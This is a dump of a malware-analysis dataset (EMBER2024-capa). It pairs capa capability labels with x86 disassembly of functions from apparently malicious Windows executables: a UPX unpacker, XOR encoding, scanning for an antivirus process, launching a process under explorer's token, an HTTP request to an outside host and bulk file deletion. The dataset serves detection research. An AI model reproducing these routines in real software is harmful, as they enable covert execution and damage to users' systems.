joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5b85a0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0xc
call fcn.005c7090
push ebp
mov ebp, dword [esp + 0x20]
push esi
mov esi, dword [esp + 0x18]
inc ebp
push edi
mov edi, dword [esp + 0x20]
mov eax, dword [esi + 4]
mov ecx, dword [edi + 8]
mov eax, dword [eax + 0x64]
test byte [eax + 0x30], 1
je 0x5b862a
mov edx, dword [esp + 0x24]
lea eax, [edx + ebp]
cmp eax, ecx
ja 0x5b862e
add dword [edi + 0x14], edx
sub ecx, edx
add dword [edi + 0x18], edx
sub dword [edi + 0xc], edx
mov dword [edi + 8], ecx
mov eax, dword [edi + 0x14]
push ebx
push dword [esi + 0x3cc]
mov al, byte [eax + ecx - 1]
movzx ebx, al
mov byte [esp + 0x30], al
mov dword [esp + 0x24], ebx
call fcn.004d01f0
push eax
call fcn.004cbe40
mov esi, dword [edi + 8]
add esp, 8
mov dword [esp + 0x18], esi
and eax, 0x200000
je 0x5b8637
sub esi, ebx
mov eax, 1
dec esi
pop ebx
mov dword [edi + 8], esi
pop edi
pop esi
pop ebp
add esp, 0xc
ret
cmp ebp, ecx
jbe 0x5b85e2
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0xc
ret
lea ecx, [ebx + ebp]
mov eax, esi
mov ebx, esi
xor eax, ecx
sub ebx, ecx
xor ebx, ecx
or ebx, eax
mov eax, 0x100
xor ebx, esi
shr ebx, 0x1f
dec ebx
cmp esi, eax
cmovb eax, esi
xor ebp, ebp
mov dword [esp + 0x10], eax
test eax, eax
je 0x5b86b3
mov edx, dword [esp + 0x20]
dec esi
mov edi, dword [edi + 0x14]
shr edx, 0x1f
add edi, esi
mov esi, dword [esp + 0x20]
mov dword [esp + 0x14], edx
mov eax, esi
lea edi, [edi - 1]
sub eax, ebp
mov ecx, ebp
shr ecx, 0x1f
inc ebp
shr eax, 0x1f
xor al, cl
xor cl, dl
or al, cl
movzx ecx, byte [esp + 0x2c]
dec al
movzx edx, al
movzx eax, byte [edi + 1]
xor ecx, eax
and edx, ecx
not edx
and ebx, edx
mov edx, dword [esp + 0x14]
cmp ebp, dword [esp + 0x10]
jb 0x5b8675
mov esi, dword [esp + 0x18]
mov edi, dword [esp + 0x24]
mov eax, dword [esp + 0x20]
not ebx
movzx ecx, bl
inc eax
dec ecx
shr ecx, 0x1f
neg ecx
and eax, ecx
sub esi, eax
mov dword [edi + 8], esi
mov dword [esp + 0x2c], ecx
not ecx
pop ebx
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x1c]
and ecx, 1
pop edi
pop esi
or eax, ecx
pop ebp
add esp, 0xc
ret
Function at 0x5c7359
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x5c7398
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x5c7398
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x5c7398
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x5c7398
cmp dword [ecx + 0x74], 0xe
jbe 0x5c7398
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x669bd0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x132000]
push edi
jmp 0x669bea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x669bf1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x669be0
mov eax, 1
add ebx, ebx
jne 0x669c03
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x669c14
jne 0x669c33
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x669c33
dec eax
add ebx, ebx
jne 0x669c20
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x669bf8
add ebx, ebx
jne 0x669c2f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x669c85
xor ecx, ecx
sub eax, 3
jb 0x669c4b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x669cba
sar eax, 1
mov ebp, eax
jmp 0x669c56
add ebx, ebx
jne 0x669c56
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x669c24
inc ecx
add ebx, ebx
jne 0x669c64
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x669c24
add ebx, ebx
jne 0x669c71
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x669c66
jne 0x669c82
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x669c66
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x669ca4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x669c96
jmp 0x669be6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x669ca4
add edi, ecx
jmp 0x669be6
pop esi
mov edi, esi
mov ecx, 0x37c0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x669cc2
cmp byte [edi], 0x13
jne 0x669cc2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x669cc7
lea edi, [esi + 0x266000]
mov eax, dword [edi]
or eax, eax
je 0x669d3f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x291510]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x29163c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x669cf4
mov ecx, edi
jns 0x669d23
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x291640]
or eax, eax
je 0x669d39
mov dword [ebx], eax
add ebx, 4
jmp 0x669d11
call dword [esi + 0x291650]
mov ebp, dword [esi + 0x291644]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x669d73
sub esp, 0xffffff80
jmp 0x47276b
Function at 0x43b645
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0x43b3c1
mov edi, dword [esp]
add esp, 4
or ecx, ecx
mov ecx, ecx
call fcn.0043b691
sub edx, 0xc5cc0aa7
sub edx, 0xf8d89b8c
add ecx, ecx
xor dword [esi], edi
add edx, ecx
mov ecx, 0xf93c6d08
and edx, edx
inc esi
dec ecx
mov edx, 0x98d80f0b
cmp esi, eax
jne fcn.0043b645
and ecx, ecx
ret
Function at 0x403a92
Capabilities:
Print debug messages

Disassembly:
mov eax, 0x417734
call fcn.00407c70
sub esp, 0x76c
push ebx
xor ebx, ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
mov dword [ebp - 0x10], ebx
push dword [ebp - 0x10]
lea eax, [ebp - 0x168]
push str..PhysicalDrive_d
push eax
call fcn.00407e38
add esp, 0xc
lea eax, [ebp - 0x168]
push ebx
push ebx
push 3
push ebx
push 3
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
mov dword [ebp - 0x2c], edi
je 0x403c8c
push 0x18
lea eax, [ebp - 0x44]
push ebx
push eax
mov dword [ebp - 0x1c], ebx
call fcn.00407de0
add esp, 0xc
lea eax, [ebp - 0x1c]
push ebx
push eax
lea eax, [ebp - 0x44]
push 0x18
push eax
push ebx
push ebx
push 0x74080
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x403b54
mov eax, dword [0x41e944]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x14]
push dword [ebp - 0x10]
push str.Device__d_Get_version_failed:__lu
push eax
call fcn.0040fb21
add esp, 0x10
push dword [ebp - 0x14]
call esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.00410479
mov eax, dword [0x41e944]
mov dword [ebp - 0x18], eax
movzx eax, byte [ebp - 0x41]
push eax
lea eax, [ebp - 0x18]
push dword [ebp - 0x10]
mov dword [ebp - 4], 1
push str.Device__d_Map:__d
push eax
call fcn.0040fb21
add esp, 0x10
push dword [ebp - 0x18]
call esi
mov al, byte [ebp - 0x41]
cmp al, bl
jbe 0x403c58
mov cl, byte [ebp - 0x10]
push 0x21
shr al, cl
push ebx
and al, 0x10
neg al
sbb al, al
and al, 0xb5
add al, 0xec
mov byte [ebp - 0x24], al
lea eax, [ebp - 0x68]
push eax
call fcn.00407de0
push 0x210
lea eax, [ebp - 0x378]
push ebx
push eax
call fcn.00407de0
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x378]
push dword [ebp - 0x10]
push dword [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
push eax
push edi
call fcn.004039a4
add esp, 0x30
test eax, eax
je 0x403c58
lea ecx, [ebp - 0x778]
lea eax, [ebp - 0x368]
mov edx, 0x100
movzx edi, word [eax]
inc eax
mov dword [ecx], edi
inc eax
add ecx, 4
dec edx
jne 0x403bef
push 0x13
lea eax, [ebp - 0x778]
push 0xa
push eax
call fcn.00403944
add esp, 0xc
lea ecx, [ebp - 0x28]
push eax
call fcn.004104a3
mov edi, dword [ebp + 8]
push eax
mov ecx, edi
mov byte [ebp - 4], 2
call fcn.00410522
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 1
call fcn.00410479
push dword [edi]
lea eax, [ebp - 0x20]
push eax
call fcn.004039fe
pop ecx
pop ecx
push eax
mov ecx, edi
mov byte [ebp - 4], 3
call fcn.00410522
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 1
call fcn.00410479
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.00410479
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 1
jl 0x403ab0
push 1
pop eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
xor eax, eax
jmp 0x403c7d
Function at 0x403d14
Capabilities:
Get common file path
Read file on windows

Disassembly:
mov eax, 0x417793
call fcn.00407c70
sub esp, 0x314
push ebx
push esi
push edi
xor ebx, ebx
push 0x4205f4
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x18], ebx
call fcn.004104a3
push str.C:Program_files11viewOKGUP.OKD
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], 1
call fcn.004104a3
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0x80
push 3
push ebx
push 3
push 0x80000000
mov byte [ebp - 4], 2
push dword [ebp - 0x10]
call esi
mov edi, eax
cmp edi, 0xffffffff
jne 0x403de4
mov edi, 0x104
lea eax, [ebp - 0x120]
push edi
push ebx
push eax
call fcn.00407de0
add esp, 0xc
lea eax, [ebp - 0x120]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x120]
lea ecx, [ebp - 0x10]
push eax
call fcn.00410572
push str.OKGUP.OKD
lea ecx, [ebp - 0x10]
call fcn.004106dd
push ebx
push 0x80
push 3
push ebx
push 3
push 0x80000000
push dword [ebp - 0x10]
call esi
mov edi, eax
cmp edi, 0xffffffff
jne 0x403de4
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
call fcn.0041020c
mov dword [ebp - 0x18], 1
jmp 0x403e44
mov esi, 0x200
lea eax, [ebp - 0x320]
push esi
push ebx
push eax
call fcn.00407de0
add esp, 0xc
lea eax, [ebp - 0x1c]
push ebx
push eax
lea eax, [ebp - 0x320]
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x320]
push eax
call fcn.00403cdf
pop ecx
lea eax, [ebp - 0x320]
push eax
lea ecx, [ebp - 0x14]
call fcn.00410572
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
call fcn.0041020c
mov dword [ebp - 0x18], 1
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.00410479
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], bl
call fcn.00410479
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x4040ff
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jb 0x404119
xor al, al
leave
ret
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 5
pop eax
cmp dword [ebp - 0x90], eax
jae 0x40413f
mov al, 1
leave
ret
jne 0x404164
cmp dword [ebp - 0x8c], 0
jne 0x40414e
mov al, 2
leave
ret
cmp dword [ebp - 0x8c], 1
je 0x40416d
cmp dword [ebp - 0x8c], 2
jne 0x40416d
mov al, 4
leave
ret
cmp dword [ebp - 0x90], 6
jae 0x40416f
mov al, 3
leave
ret
Function at 0x404171
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
push edi
je 0x4041a5
push 0x49
xor eax, eax
pop ecx
lea edi, [ebp - 0x124]
mov dword [ebp - 0x128], esi
push esi
rep stosd dword es:[edi], eax
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x4041ac
xor eax, eax
jmp 0x40422e
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x404225
push dword [ebp + 0xc]
call fcn.00408474
pop ecx
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.00408474
pop ecx
push eax
call fcn.004083f0
pop ecx
test eax, eax
pop ecx
je 0x4041fd
lea eax, [ebp - 0x128]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x404222
jmp 0x4041c7
push dword [ebp - 0x120]
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push dword [ebp + 8]
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, eax
jmp 0x404225
push 1
pop esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
leave
ret

Function at 0x404232
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push esi
lea eax, [ebp - 4]
push str.EXPLORER.EXE
push eax
call fcn.00404171
pop ecx
test eax, eax
pop ecx
je 0x4042be
xor esi, esi
cmp dword [ebp - 4], esi
je 0x4042be
cmp dword [ebp - 4], 0xffffffff
je 0x4042be
push edi
push 0x10
pop ecx
xor eax, eax
lea edi, [ebp - 0x54]
mov dword [ebp - 0x58], 0x44
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x200
lea eax, [ebp - 0x258]
push esi
push eax
call fcn.00407de0
push dword [ebp + 8]
lea eax, [ebp - 0x258]
push eax
call fcn.00408280
add esp, 0x14
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x258]
push esi
push eax
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
pop edi
jmp 0x4042c0
xor eax, eax
pop esi
leave
ret
Function at 0x4048e1
Capabilities:
Enumerate processes

Disassembly:
mov eax, 0x417884
call fcn.00407c70
push ecx
push ecx
push ebx
push esi
push edi
push str.ravmond.exe
lea ecx, [ebp - 0x14]
call fcn.004104a3
and dword [ebp - 4], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, 0x128
mov ebx, eax
push edi
call fcn.004101d8
pop ecx
mov esi, eax
push esi
push ebx
mov dword [esi], edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4049a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x4049a0
lea edi, [esi + 0x24]
lea ecx, [ebp - 0x10]
push edi
call fcn.004104a3
mov byte [ebp - 4], 1
jmp 0x404958
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x404994
push edi
lea ecx, [ebp - 0x10]
call fcn.00410572
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call fcn.00408716
pop ecx
test eax, eax
pop ecx
jne 0x404944
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.00410201
and byte [ebp - 4], 0
pop ecx
lea ecx, [ebp - 0x10]
call fcn.00410479
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.00410479
push 1
pop eax
jmp 0x4049bc
and byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.00410479
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.00410201
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x14]
call fcn.00410479
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x404bdf
Capabilities:
Create http request

Disassembly:
mov eax, 0x4178d0
call fcn.00407c70
mov eax, 0x1004
call fcn.00407db0
push ebx
push edi
push 0x4205f4
lea ecx, [ebp - 0x10]
call fcn.004104a3
xor ebx, ebx
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x100f]
mov byte [ebp - 0x1010], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push ebx
push str.HttpDownload
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, ebx
je 0x404c6a
push ebx
lea eax, [ebp - 0x1010]
push 2
push eax
call fcn.00407d30
pop ecx
push eax
lea eax, [ebp - 0x1010]
push eax
push str.http:__www.129gmail.com_xsbtest.inf
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, ebx
je 0x404c6a
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
call esi
push edi
call esi
push 1
pop ebx
pop esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.00410479
mov ecx, dword [ebp - 0xc]
mov eax, ebx
pop edi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x404c86
Capabilities:
Create process on windows

Disassembly:
mov eax, 0x4178fc
call fcn.00407c70
sub esp, 0x14
push ebx
push esi
lea eax, [ebp - 0x10]
push edi
push eax
call fcn.00404a59
xor ebx, ebx
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], ebx
mov dword [esp], 0x41e138
call fcn.004106dd
push str.act.ini
lea ecx, [ebp - 0x20]
call fcn.00403876
mov esi, 0x4205f4
mov edi, 0x41e450
push esi
push str.name
lea eax, [ebp - 0x18]
push edi
push eax
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 1
call fcn.004038b4
push esi
mov byte [ebp - 4], 2
push dword [ebp - 0x18]
call fcn.004085a8
pop ecx
test eax, eax
pop ecx
jne 0x404d01
push str.NetSync.exe
lea ecx, [ebp - 0x18]
call fcn.00410572
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x10]
push eax
call fcn.00410704
push esi
push str.param
lea eax, [ebp - 0x14]
push edi
push eax
lea ecx, [ebp - 0x20]
call fcn.004038b4
push esi
mov byte [ebp - 4], 3
push dword [ebp - 0x14]
call fcn.004085a8
pop ecx
test eax, eax
pop ecx
jne 0x404d40
push str._netaddir
lea ecx, [ebp - 0x14]
call fcn.00410572
push ebx
push dword [ebp - 0x10]
call fcn.004088ab
pop ecx
cmp eax, 0xffffffff
pop ecx
je 0x404d60
push ebx
push ebx
push dword [ebp - 0x14]
push dword [ebp - 0x10]
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.00410479
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.00410479
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], bl
call fcn.00403868
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.00410479
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x4051b2
Capabilities:
Create process on windows

Disassembly:
mov eax, 0x41798c
call fcn.00407c70
sub esp, 0x40
mov ecx, dword [0x420180]
mov eax, dword [0x4205b4]
cmp ecx, eax
jle 0x405260
push esi
push eax
lea eax, [ebp - 0x10]
mov ecx, 0x420178
push eax
call fcn.0040382b
push 0x4205f4
xor esi, esi
push dword [ebp - 0x10]
mov dword [ebp - 4], esi
call fcn.004085a8
pop ecx
test eax, eax
pop ecx
je 0x405253
push edi
inc dword [0x4205b4]
push 0xe
xor eax, eax
pop ecx
lea edi, [ebp - 0x48]
rep stosd dword es:[edi], eax
push 1
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x4c], 0x3c
mov dword [ebp - 0x48], 0x40
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x3c], str.C:Program_FilesInternet_Exploreriexplore.exe
call fcn.0041071c
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
pop edi
je 0x405253
mov eax, dword [ebp - 0x14]
mov dword [0x4205b8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.00410479
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret
Function at 0x405ce4
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x550
lea eax, [ebp - 0x140]
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x405d80
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp + 8]
lea eax, [ebp - 0x348]
push eax
call esi
lea eax, [ebp - 0x348]
push 0x5c
push eax
call fcn.004088f1
and byte [eax + 1], 0
pop ecx
pop ecx
test byte [ebp - 0x140], 0x10
jne 0x405d66
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x550]
push eax
call esi
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x550]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x550]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x140]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405d2c
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop esi
pop edi
leave
ret

Function at 0x405d83
Capabilities:
Delete file

Disassembly:
mov eax, 0x417b10
call fcn.00407c70
push ecx
push ecx
push esi
push edi
mov eax, dword [0x41e944]
and dword [ebp - 4], 0
xor esi, esi
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 1
xor edi, edi
push edi
lea eax, [ebp - 0x10]
push str.addel_d
push eax
call fcn.0040fb21
add esp, 0xc
add esi, 7
lea ecx, [ebp + 8]
push esi
push dword [ebp - 0x10]
call fcn.0040f7ee
mov esi, eax
cmp esi, 0xffffffff
je 0x405e51
push 1
lea ecx, [ebp + 8]
call fcn.0041071c
lea eax, [eax + esi + 7]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00405024
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.00410522
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.00410479
push str.alljpg
push dword [ebp - 0x10]
call fcn.004085a8
pop ecx
test eax, eax
pop ecx
jne 0x405e24
push str.C:Program_Files11view.jpg
call fcn.00405ce4
pop ecx
jmp 0x405e47
push str.allswf
push dword [ebp - 0x10]
call fcn.004085a8
pop ecx
test eax, eax
pop ecx
jne 0x405e3e
push str.C:Program_Files11view.swf
jmp 0x405e1c
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
inc edi
cmp edi, 0xa
jl 0x405da5
and byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.00410479
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00410479
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x40605a
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
lea eax, [ebp + 0x10]
push edi
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push eax
call fcn.004089db
lea eax, [ebp - 0x104]
xor esi, esi
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
add esp, 0xc
cmp dword [eax + 0x1a8], esi
je 0x4060c1
add eax, 0x84
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov edi, eax
cmp edi, esi
je 0x4060ce
lea eax, [ebp - 4]
push esi
push eax
push esi
push 1
push esi
push esi
push esi
push 4
push edi
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
push edi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
jmp 0x4060ce
lea eax, [ebp - 0x104]
push eax
call fcn.00408963
pop ecx
pop edi
pop esi
leave
ret